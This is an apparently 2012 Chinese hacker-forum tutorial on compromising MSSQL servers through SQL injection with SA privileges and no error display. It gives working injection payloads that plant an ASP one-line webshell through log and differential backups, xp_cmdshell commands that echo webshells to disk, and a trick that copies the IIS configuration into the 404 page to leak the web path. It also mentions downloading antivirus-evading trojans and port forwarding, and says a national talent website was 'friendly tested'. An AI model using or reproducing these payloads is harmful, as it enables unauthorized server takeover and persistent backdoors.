找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

sa权限的教程.

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:30:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————# _/ n/ X5 p$ ]
$ a, ?' X7 ~0 ~/ X" q9 O

* b3 b& _1 S+ d( I/ R- z- A                                                             欢迎高手访问指导,欢迎新手朋友交流学习。
+ |- E* }7 T! i$ r- C8 m" g  W4 J6 W( O
                                                                 
. c/ _) U9 G* X2 L3 K                                                                 
6 }5 l; f: w  w; \8 k: w) [                                                                  论坛: http://www.90team.net/
" ^1 K; T. @- h" F/ {3 m$ ?3 L! i% s# K+ b3 e

* {4 Y* ?% V& @; E; r4 n: T* F% D  q) i/ h' N
友情检测国家人才网& F; p0 E( s0 ^6 R0 X( t: }) X
) ?" T- w) j. n
, D# P! ]1 j  g; c* Z: k7 E& ^- a
内容:MSSQL注入SA权限不显错模式下的入侵
3 v- D7 _/ c1 j) d9 v/ b3 C
5 D  `6 u- E: {8 h7 c6 j7 G& p% V$ o3 k
一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。3 k3 {1 X, D# p% {
1 a( n9 w0 m- _' R
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
- ]5 p) X7 T" E$ Z) U- F
+ D2 h6 S" I; A3 M9 v3 e- _5 L/ \( p* I, P/ t2 j, g1 ?
这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。1 g% k+ f9 S5 ]
" }" M! n" \) J  A1 q3 m7 D
思路:: J  P8 e% ?1 t  n' p
& Y! t4 |1 `4 C
首先:
% c& B" J/ x" F, U$ G, L) O; y- L* w$ C9 C
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。3 B0 H1 x" }. x% E1 Q

4 _: q6 W7 M0 B3 L1 v1.日志备份获得Webshell
* |2 K/ ?% v6 ^2 s0 f" x. A- t6 \" a3 a! e
2.数据库差异备份获得Webshell7 L  c0 K0 B2 {# L. m; z- D  W( ?
! ^0 m: G' A1 B# M8 ^
4.直接下载免杀远控木马。& b) G( O( g" B

* |0 g! ~6 ?5 z. G) U0 J/ ]& A5 C5.直接下载LCX将服务器端口转发出来
. s  A" N  T# X4 V' X; {5 _
3 l+ J! [/ ?7 M! b  t/ ~6 g6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。) X! E$ B: T0 U
) Z! Z7 ]  p) R8 \6 [" n' _6 l/ W

/ J7 h( N% u" ]# r
7 y7 W( b( K0 G+ z0 y/ |在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了,
& K6 C5 N% q: I) h8 {" U- V; w: d' w4 k
我直接演示后面一个方法
: ]2 w4 |' ]/ b4 f" _: A% _. |+ T( q

  D. z1 n3 k! g1 i0 h' @  F) ^分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
8 b( L4 _& d1 M4 J1 i/ u" l: r6 v
. {5 R; O5 P6 s1 H& b, f8 K: Q4 U. [# X- t4 J' A' s, D" ?

3 G4 l& {* R: t( K, o7 [0 }: G5 {5 `0 Y8 `
◆日志备份:
+ t7 Y" x8 |3 X+ r+ Q! ^: g9 X: h$ W" P1 b$ |3 W1 ?

! e4 F& w) Y5 u7 k1. 进行初始备份8 c% _) ~3 `8 D8 p
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--$ C3 Q; t8 Z- I5 L( |' p0 g

* P" d, a7 P5 V- o% s- o! c3 B2 m2. 插入数据
' a7 N0 w; z% K; k8 b. P;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--9 M3 m% c# i- K+ v+ [0 M( X2 A
: W% |# P& l' [9 j$ K' ^1 ]+ T2 O
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
; C, J+ L6 H3 f+ i! f3 V" v% B    n) N1 N* g3 }9 I4 R
3. 备份并获得文件,删除临时表
# O1 y9 w" \$ z3 ]+ G;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
; y! l4 [8 k* u! |5 b& {$ s0 ?& E/ Y) x! a
' A2 [( |7 y2 ?+ H

  B5 Y5 V5 H6 u# u2 W9 u◆数据库差异备份2 g% p) V. f8 P/ q# u
  s, S( R: M& b" ], x! x
(1. 进行差异备份准备工作% m( [8 [" x! F6 p" [" S% n
1 h5 j! Z) m7 X- m5 v
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--1 F; f$ W4 E  x6 Z9 a4 O

% I3 }& x" W6 F上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
; X- l9 b8 u8 t   f4 o' m. Z8 T5 L$ R9 n% K
: R* J' }5 e; D3 o# C1 p
(2. 将数据写入到数据库( u8 B: L6 Q9 ]) \- p* @$ r
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
8 {4 K6 L5 d) S! T# _' I' O# R7 `! M/ J
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>, N, Q) M3 f2 d

$ C: m' U1 Q1 C8 [3. 备份数据库并清理临时文件0 |5 A0 ^% M0 N' W' [0 J) O/ }
; g) T' |4 O- i. F
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--4 d0 R7 [) d) K. j/ x% K

6 v6 g1 g8 r& y0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
+ t5 x+ E4 I  u6 x, n2 Z9 g5 \. ^6 F3 i

* M1 T9 ^, [( y9 H% C- ^( m/ _+ t$ U6 b
用^转义字符来写ASP(一句话木马)文件的方法:   % C7 F5 i) y5 |+ N) m- D9 d
9 \6 Y; o9 d; B' u3 q6 X0 a! y
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--* D( H& j( K& W& u2 W! Y
% o. q& X- g+ K, u8 H: }- a
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp 1 U. _% \4 R/ R7 W. Y) I8 M& X7 I- Q

& t+ O2 `0 R) \  e$ }8 q3 `读取IIS配置信息获取web路径5 z# \1 T& p$ k" ~* `
' D4 m" _: ?( W# E6 N5 R
     , q& P5 G# l: V8 g) Z/ L
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--8 X7 l6 n, X- v* V& l/ j
+ p' G3 K5 Z6 t, D7 x
执行命令% A6 C8 i5 K2 e, d
     
! C' U% g9 N/ ]- n     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--$ S. Y; Q0 s7 c3 s8 E

" @* }2 ]5 W& {! ^1 u; L. a
0 d+ k- z6 t+ n& a, l! _
% y0 A4 c( }- _8 X4 G# F3 G( g5 d2 }& ]
- {8 e+ B& U0 ~. Q7 `

, J# M# R; k$ h; S: n; A/ \
" Y$ q: K2 P/ k! m, L( D0 z% f& w9 a2 Q0 K  s$ ]

8 ]+ T" g; D$ Q& o( n
# T, Q/ u  H' u$ r7 t
6 a3 Q9 o0 Q+ O' r; z; _; n- F5 A

# o/ v5 ?+ r8 X, {7 d- A
. y2 H3 d# h# _$ h5 b- ~/ ?# T7 ]3 f$ p2 @* D0 |/ I7 {& M
* |( k6 ^! S$ F' r0 H  G4 @* O

- |8 ?' a7 x4 l' F; ~2 S% |( z% }! p+ Q* q) J% K4 E; L

" @3 F1 g& N( J' \$ Q! U9 K/ J5 x( j: ?! n* r$ ^. V
$ @" R* i" e! v; w
! J+ v6 i6 G5 n3 k( o

) E- |5 w3 K2 j6 i
' k3 W6 Q( k; h2 W5 K  w7 z$ a5 o; v- z1 }8 W* }

* a3 }4 ^: O9 U% x. H' E6 O: J/ K
7 M' c; f5 i5 h# [: A# `) v2 J$ W, w9 O$ |

) b. K0 s* h- s% j3 n1 q6 R# r. j( d0 v1 w! G2 J

; T* q& [( R4 U0 J, y( W2 Z  z
, c8 N4 O/ b: b1 f- M0 U' c/ p$ S+ r6 M: M& I
( ?$ V( g; c; Y: E3 w' k. {
0 G* G. u1 Q" G+ `
1 G  q, }8 o5 k, U% ?. `9 g
4 a- R& H. C! D# A5 ^& G

/ t) Q& E: v$ w" o5 O* s$ W* G, E" W' k* P/ w* s1 Z  ]

3 {- a% \+ L+ n; l2 a8 d5 y  R7 ^& w9 s' F6 _

* Q4 ~* x$ g& R
4 F5 Y* H8 B+ k( p% _9 L. f8 Z9 {# W8 [! m7 y, }8 A6 d" b

+ m+ ^# O# I! g4 Y5 ^: S3 C0 @5 y2 v' ?
3 u% Z( x) b) Z+ I* p1 ]  d
9 J/ r+ R3 h* b( \5 l0 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表